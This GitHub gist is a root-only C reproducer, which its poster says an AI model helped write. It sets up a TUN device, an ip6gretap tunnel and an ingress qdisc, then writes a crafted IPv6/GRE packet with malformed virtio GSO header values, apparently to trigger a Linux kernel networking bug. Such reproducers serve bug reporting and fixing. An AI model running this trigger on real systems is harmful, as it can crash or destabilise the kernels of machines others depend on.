Created
April 16, 2026 03:42
-
-
Save mrpre/5ba943fd86367af748b70de99263da4b to your computer and use it in GitHub Desktop.
OK, I used GPT-5.4 to help me generate such code and it worked...
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <arpa/inet.h> | |
| #include <endian.h> | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <linux/if.h> | |
| #include <linux/if_ether.h> | |
| #include <linux/if_link.h> | |
| #include <linux/if_tun.h> | |
| #include <linux/if_tunnel.h> | |
| #include <linux/ipv6.h> | |
| #include <linux/ip.h> | |
| #include <linux/netlink.h> | |
| #include <linux/pkt_sched.h> | |
| #include <linux/rtnetlink.h> | |
| #include <linux/tcp.h> | |
| #include <linux/virtio_net.h> | |
| #include <stdarg.h> | |
| #include <stdint.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/socket.h> | |
| #include <unistd.h> | |
| #ifndef TCA_KIND | |
| #define TCA_KIND 1 | |
| #endif | |
| #ifndef NEXTHDR_DEST | |
| #define NEXTHDR_DEST 60 | |
| #endif | |
| #define REPRO_IFNAME "syzq0" | |
| #define REPRO_GRETAP_IFNAME "gt1" | |
| #define REPRO_PKT_LEN 60000 | |
| #define REPRO_WRITES 1 | |
| #define REPRO_LINGER_SECS 5 | |
| #define OUTER_DEST_OPTS_BYTES 256 | |
| #define IPV4_DF_FLAG 0x4000 | |
| #define TUN_LOCAL_IPV6 "2001:db8:1::1" | |
| #define TUN_REMOTE_IPV6 "2001:db8:1::2" | |
| struct tun_pi_hdr { | |
| uint16_t flags; | |
| uint16_t proto; | |
| } __attribute__((packed)); | |
| struct gre_base_hdr_uapi { | |
| uint16_t flags; | |
| uint16_t protocol; | |
| } __attribute__((packed)); | |
| static void die(const char *msg) | |
| { | |
| perror(msg); | |
| exit(EXIT_FAILURE); | |
| } | |
| static void run_cmd(const char *fmt, ...) | |
| { | |
| char cmd[1024]; | |
| va_list ap; | |
| int ret; | |
| va_start(ap, fmt); | |
| vsnprintf(cmd, sizeof(cmd), fmt, ap); | |
| va_end(ap); | |
| ret = system(cmd); | |
| if (ret != 0) { | |
| fprintf(stderr, "command failed (%d): %s\n", ret, cmd); | |
| exit(EXIT_FAILURE); | |
| } | |
| } | |
| static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, | |
| int type, const void *data, size_t alen) | |
| { | |
| size_t len = RTA_LENGTH(alen); | |
| size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len); | |
| struct rtattr *rta; | |
| if (newlen > maxlen) { | |
| fprintf(stderr, "netlink attribute overflow\n"); | |
| exit(EXIT_FAILURE); | |
| } | |
| rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len)); | |
| rta->rta_type = type; | |
| rta->rta_len = len; | |
| memcpy(RTA_DATA(rta), data, alen); | |
| nlh->nlmsg_len = newlen; | |
| } | |
| static struct rtattr *addattr_nest(struct nlmsghdr *nlh, size_t maxlen, int type) | |
| { | |
| struct rtattr *nest = (struct rtattr *)(((char *)nlh) + | |
| NLMSG_ALIGN(nlh->nlmsg_len)); | |
| addattr_l(nlh, maxlen, type, NULL, 0); | |
| return nest; | |
| } | |
| static void addattr_nest_end(struct nlmsghdr *nlh, struct rtattr *nest) | |
| { | |
| nest->rta_len = (char *)nlh + nlh->nlmsg_len - (char *)nest; | |
| } | |
| static int nl_talk(int fd, struct nlmsghdr *nlh) | |
| { | |
| struct sockaddr_nl nladdr = { | |
| .nl_family = AF_NETLINK, | |
| }; | |
| char buf[4096]; | |
| struct iovec iov = { | |
| .iov_base = nlh, | |
| .iov_len = nlh->nlmsg_len, | |
| }; | |
| struct msghdr msg = { | |
| .msg_name = &nladdr, | |
| .msg_namelen = sizeof(nladdr), | |
| .msg_iov = &iov, | |
| .msg_iovlen = 1, | |
| }; | |
| struct nlmsghdr *reply; | |
| ssize_t ret; | |
| ret = sendmsg(fd, &msg, 0); | |
| if (ret < 0) | |
| return -1; | |
| ret = recv(fd, buf, sizeof(buf), 0); | |
| if (ret < 0) | |
| return -1; | |
| reply = (struct nlmsghdr *)buf; | |
| for (; NLMSG_OK(reply, (unsigned int)ret); | |
| reply = NLMSG_NEXT(reply, ret)) { | |
| if (reply->nlmsg_type == NLMSG_ERROR) { | |
| struct nlmsgerr *err = NLMSG_DATA(reply); | |
| if (!err->error) | |
| return 0; | |
| errno = -err->error; | |
| return -1; | |
| } | |
| } | |
| errno = EPROTO; | |
| return -1; | |
| } | |
| static void add_ingress_qdisc(int ifindex) | |
| { | |
| char reqbuf[512]; | |
| struct nlmsghdr *nlh = (struct nlmsghdr *)reqbuf; | |
| struct tcmsg *tcm; | |
| int fd; | |
| memset(reqbuf, 0, sizeof(reqbuf)); | |
| nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*tcm)); | |
| nlh->nlmsg_type = RTM_NEWQDISC; | |
| nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; | |
| tcm = NLMSG_DATA(nlh); | |
| tcm->tcm_family = AF_UNSPEC; | |
| tcm->tcm_ifindex = ifindex; | |
| tcm->tcm_parent = TC_H_INGRESS; | |
| tcm->tcm_handle = TC_H_MAKE(TC_H_INGRESS, 0); | |
| addattr_l(nlh, sizeof(reqbuf), TCA_KIND, "ingress", | |
| strlen("ingress") + 1); | |
| fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); | |
| if (fd < 0) | |
| die("socket(NETLINK_ROUTE)"); | |
| if (nl_talk(fd, nlh) < 0 && errno != EEXIST) | |
| die("RTM_NEWQDISC ingress"); | |
| close(fd); | |
| } | |
| static void set_link_mtu_up(const char *ifname, int mtu) | |
| { | |
| struct ifreq ifr; | |
| int fd; | |
| fd = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (fd < 0) | |
| die("socket(AF_INET)"); | |
| memset(&ifr, 0, sizeof(ifr)); | |
| snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname); | |
| ifr.ifr_mtu = mtu; | |
| if (ioctl(fd, SIOCSIFMTU, &ifr) < 0) | |
| die("ioctl(SIOCSIFMTU)"); | |
| memset(&ifr, 0, sizeof(ifr)); | |
| snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname); | |
| if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) | |
| die("ioctl(SIOCGIFFLAGS)"); | |
| ifr.ifr_flags |= IFF_UP; | |
| if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) | |
| die("ioctl(SIOCSIFFLAGS)"); | |
| close(fd); | |
| } | |
| static int get_ifindex(const char *ifname) | |
| { | |
| struct ifreq ifr; | |
| int fd; | |
| fd = socket(AF_INET, SOCK_DGRAM, 0); | |
| if (fd < 0) | |
| die("socket(AF_INET)"); | |
| memset(&ifr, 0, sizeof(ifr)); | |
| snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname); | |
| if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) | |
| die("ioctl(SIOCGIFINDEX)"); | |
| close(fd); | |
| return ifr.ifr_ifindex; | |
| } | |
| static void add_ip6gretap_link(const char *ifname, int link_ifindex) | |
| { | |
| char reqbuf[1024]; | |
| struct nlmsghdr *nlh = (struct nlmsghdr *)reqbuf; | |
| struct ifinfomsg *ifm; | |
| struct rtattr *linkinfo, *infodata; | |
| struct in6_addr local, remote; | |
| int fd; | |
| uint8_t ttl = 64, encap_limit = 4; | |
| if (inet_pton(AF_INET6, TUN_LOCAL_IPV6, &local) != 1 || | |
| inet_pton(AF_INET6, TUN_REMOTE_IPV6, &remote) != 1) { | |
| fprintf(stderr, "inet_pton(AF_INET6) failed for ip6gretap\n"); | |
| exit(EXIT_FAILURE); | |
| } | |
| memset(reqbuf, 0, sizeof(reqbuf)); | |
| nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm)); | |
| nlh->nlmsg_type = RTM_NEWLINK; | |
| nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL; | |
| ifm = NLMSG_DATA(nlh); | |
| ifm->ifi_family = AF_UNSPEC; | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_IFNAME, ifname, strlen(ifname) + 1); | |
| linkinfo = addattr_nest(nlh, sizeof(reqbuf), IFLA_LINKINFO); | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_INFO_KIND, "ip6gretap", | |
| strlen("ip6gretap") + 1); | |
| infodata = addattr_nest(nlh, sizeof(reqbuf), IFLA_INFO_DATA); | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_GRE_LINK, &link_ifindex, | |
| sizeof(link_ifindex)); | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_GRE_LOCAL, &local, sizeof(local)); | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_GRE_REMOTE, &remote, sizeof(remote)); | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_GRE_TTL, &ttl, sizeof(ttl)); | |
| addattr_l(nlh, sizeof(reqbuf), IFLA_GRE_ENCAP_LIMIT, | |
| &encap_limit, sizeof(encap_limit)); | |
| addattr_nest_end(nlh, infodata); | |
| addattr_nest_end(nlh, linkinfo); | |
| fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); | |
| if (fd < 0) | |
| die("socket(NETLINK_ROUTE)"); | |
| if (nl_talk(fd, nlh) < 0 && errno != EEXIST) | |
| die("RTM_NEWLINK ip6gretap"); | |
| close(fd); | |
| } | |
| static void setup_ip6gretap(const char *underlay_ifname, const char *tunnel_ifname, | |
| int mtu) | |
| { | |
| int ifindex = get_ifindex(underlay_ifname); | |
| run_cmd("ip -6 addr replace %s/64 dev %s nodad", | |
| TUN_LOCAL_IPV6, underlay_ifname); | |
| run_cmd("ip link del %s >/dev/null 2>&1 || true", tunnel_ifname); | |
| add_ip6gretap_link(tunnel_ifname, ifindex); | |
| set_link_mtu_up(tunnel_ifname, mtu); | |
| } | |
| static uint16_t ipv4_checksum(const void *data, size_t len) | |
| { | |
| const uint16_t *words = data; | |
| uint32_t sum = 0; | |
| size_t i; | |
| for (i = 0; i < len / 2; i++) | |
| sum += ntohs(words[i]); | |
| while (sum >> 16) | |
| sum = (sum & 0xffff) + (sum >> 16); | |
| return htons((uint16_t)~sum); | |
| } | |
| static size_t build_packet(uint8_t *buf, size_t pkt_len) | |
| { | |
| struct ipv6hdr *outer6 = (struct ipv6hdr *)buf; | |
| uint8_t *outer_opts = buf + sizeof(*outer6); | |
| struct gre_base_hdr_uapi *gre; | |
| struct iphdr *inner4; | |
| struct tcphdr *tcp; | |
| uint8_t *payload; | |
| size_t inner_payload_len; | |
| size_t outer_payload_len; | |
| size_t l2_len = sizeof(struct ethhdr); | |
| if (pkt_len < sizeof(*outer6) + OUTER_DEST_OPTS_BYTES + sizeof(*gre) + | |
| l2_len + sizeof(*inner4) + sizeof(*tcp) + 64) { | |
| fprintf(stderr, "packet length too small: %zu\n", pkt_len); | |
| exit(EXIT_FAILURE); | |
| } | |
| memset(buf, 0, pkt_len); | |
| gre = (struct gre_base_hdr_uapi *)(outer_opts + OUTER_DEST_OPTS_BYTES); | |
| inner4 = (struct iphdr *)((uint8_t *)gre + sizeof(*gre) + l2_len); | |
| tcp = (struct tcphdr *)((uint8_t *)inner4 + sizeof(*inner4)); | |
| payload = (uint8_t *)tcp + sizeof(*tcp); | |
| outer_payload_len = pkt_len - sizeof(*outer6); | |
| inner_payload_len = pkt_len - sizeof(*outer6) - OUTER_DEST_OPTS_BYTES - | |
| sizeof(*gre) - l2_len - | |
| sizeof(*inner4) - sizeof(*tcp); | |
| outer6->version = 6; | |
| outer6->flow_lbl[2] = 0x01; | |
| outer6->payload_len = htons((uint16_t)outer_payload_len); | |
| outer6->nexthdr = NEXTHDR_DEST; | |
| outer6->hop_limit = 64; | |
| if (inet_pton(AF_INET6, TUN_REMOTE_IPV6, &outer6->saddr) != 1 || | |
| inet_pton(AF_INET6, TUN_LOCAL_IPV6, &outer6->daddr) != 1) { | |
| fprintf(stderr, "inet_pton(AF_INET6) failed\n"); | |
| exit(EXIT_FAILURE); | |
| } | |
| outer_opts[0] = IPPROTO_GRE; | |
| outer_opts[1] = (uint8_t)((OUTER_DEST_OPTS_BYTES >> 3) - 1); | |
| outer_opts[2] = 0x1e; | |
| outer_opts[3] = (uint8_t)(OUTER_DEST_OPTS_BYTES - 4); | |
| gre->flags = 0; | |
| gre->protocol = htons(ETH_P_TEB); | |
| inner4->version = 4; | |
| inner4->ihl = 5; | |
| inner4->tot_len = htons((uint16_t)(sizeof(*inner4) + sizeof(*tcp) + | |
| inner_payload_len)); | |
| inner4->id = htons(0x1234); | |
| inner4->frag_off = htons(IPV4_DF_FLAG); | |
| inner4->ttl = 64; | |
| inner4->protocol = IPPROTO_TCP; | |
| inner4->saddr = htonl(0x0a000001); | |
| inner4->daddr = htonl(0x0a000002); | |
| inner4->check = ipv4_checksum(inner4, sizeof(*inner4)); | |
| tcp->source = htons(12345); | |
| tcp->dest = htons(23456); | |
| tcp->seq = htonl(1); | |
| tcp->doff = 5; | |
| tcp->syn = 1; | |
| tcp->window = htons(4096); | |
| for (size_t i = 0; i < inner_payload_len; i++) | |
| payload[i] = (uint8_t)(i & 0xff); | |
| return pkt_len; | |
| } | |
| static size_t build_write_buffer(uint8_t **out) | |
| { | |
| struct tun_pi_hdr *pi; | |
| struct virtio_net_hdr *vhdr; | |
| uint8_t *buf; | |
| size_t total_len = sizeof(*pi) + sizeof(*vhdr) + REPRO_PKT_LEN; | |
| buf = calloc(1, total_len); | |
| if (!buf) | |
| die("calloc"); | |
| pi = (struct tun_pi_hdr *)buf; | |
| vhdr = (struct virtio_net_hdr *)(buf + sizeof(*pi)); | |
| pi->flags = 0; | |
| pi->proto = htons(ETH_P_IPV6); | |
| vhdr->flags = 0; | |
| vhdr->gso_type = VIRTIO_NET_HDR_GSO_TCPV4; | |
| vhdr->hdr_len = htole16(17); | |
| vhdr->gso_size = htole16(4); | |
| vhdr->csum_start = htole16(0); | |
| vhdr->csum_offset = htole16(0x0ca6); | |
| build_packet(buf + sizeof(*pi) + sizeof(*vhdr), REPRO_PKT_LEN); | |
| *out = buf; | |
| return total_len; | |
| } | |
| int main(void) | |
| { | |
| const char *ifname = REPRO_IFNAME; | |
| const char *qdisc_ifname = REPRO_IFNAME; | |
| int tun_fd; | |
| int mtu = REPRO_PKT_LEN; | |
| size_t total_len; | |
| uint8_t *buf = NULL; | |
| struct ifreq ifr; | |
| ssize_t ret; | |
| if (getuid() != 0) { | |
| fprintf(stderr, "this reproducer must run as root\n"); | |
| return EXIT_FAILURE; | |
| } | |
| tun_fd = open("/dev/net/tun", O_RDWR); | |
| if (tun_fd < 0) | |
| die("open(/dev/net/tun)"); | |
| memset(&ifr, 0, sizeof(ifr)); | |
| snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname); | |
| ifr.ifr_flags = IFF_TUN | IFF_VNET_HDR | IFF_TUN_EXCL; | |
| if (ioctl(tun_fd, TUNSETIFF, &ifr) < 0) | |
| die("ioctl(TUNSETIFF)"); | |
| ifname = ifr.ifr_name; | |
| set_link_mtu_up(ifname, mtu); | |
| setup_ip6gretap(ifname, REPRO_GRETAP_IFNAME, mtu); | |
| qdisc_ifname = REPRO_GRETAP_IFNAME; | |
| add_ingress_qdisc(get_ifindex(qdisc_ifname)); | |
| total_len = build_write_buffer(&buf); | |
| printf("device: %s\n", ifname); | |
| printf("writes: %d\n", REPRO_WRITES); | |
| printf("packet_len: %d\n", REPRO_PKT_LEN); | |
| printf("write_len: %zu\n", total_len); | |
| printf("topology: ip6gretap\n"); | |
| printf("inner_eth_mode: zero_eth\n"); | |
| printf("tun_mode: legacy\n"); | |
| printf("tun_flags: %#x\n", ifr.ifr_flags); | |
| printf("qdisc_dev: %s\n", qdisc_ifname); | |
| printf("ip6gretap: %s local=%s remote=%s\n", | |
| REPRO_GRETAP_IFNAME, TUN_LOCAL_IPV6, TUN_REMOTE_IPV6); | |
| printf("vnet_hdr: gso_type=TCPV4 hdr_len=17 gso_size=4 csum_offset=0x0ca6\n"); | |
| printf("outer: IPv6/dst-opts(%d)/GRE(TEB)\n", OUTER_DEST_OPTS_BYTES); | |
| printf("inner: Ethernet/IPv4/TCP\n"); | |
| for (int i = 0; i < REPRO_WRITES; i++) { | |
| ret = write(tun_fd, buf, total_len); | |
| if (ret < 0) | |
| die("write"); | |
| if (ret != (ssize_t)total_len) { | |
| fprintf(stderr, "short write[%d]: %zd/%zu\n", i, ret, total_len); | |
| return EXIT_FAILURE; | |
| } | |
| printf("write[%d] ok\n", i); | |
| } | |
| printf("linger: %d seconds\n", REPRO_LINGER_SECS); | |
| sleep(REPRO_LINGER_SECS); | |
| free(buf); | |
| close(tun_fd); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment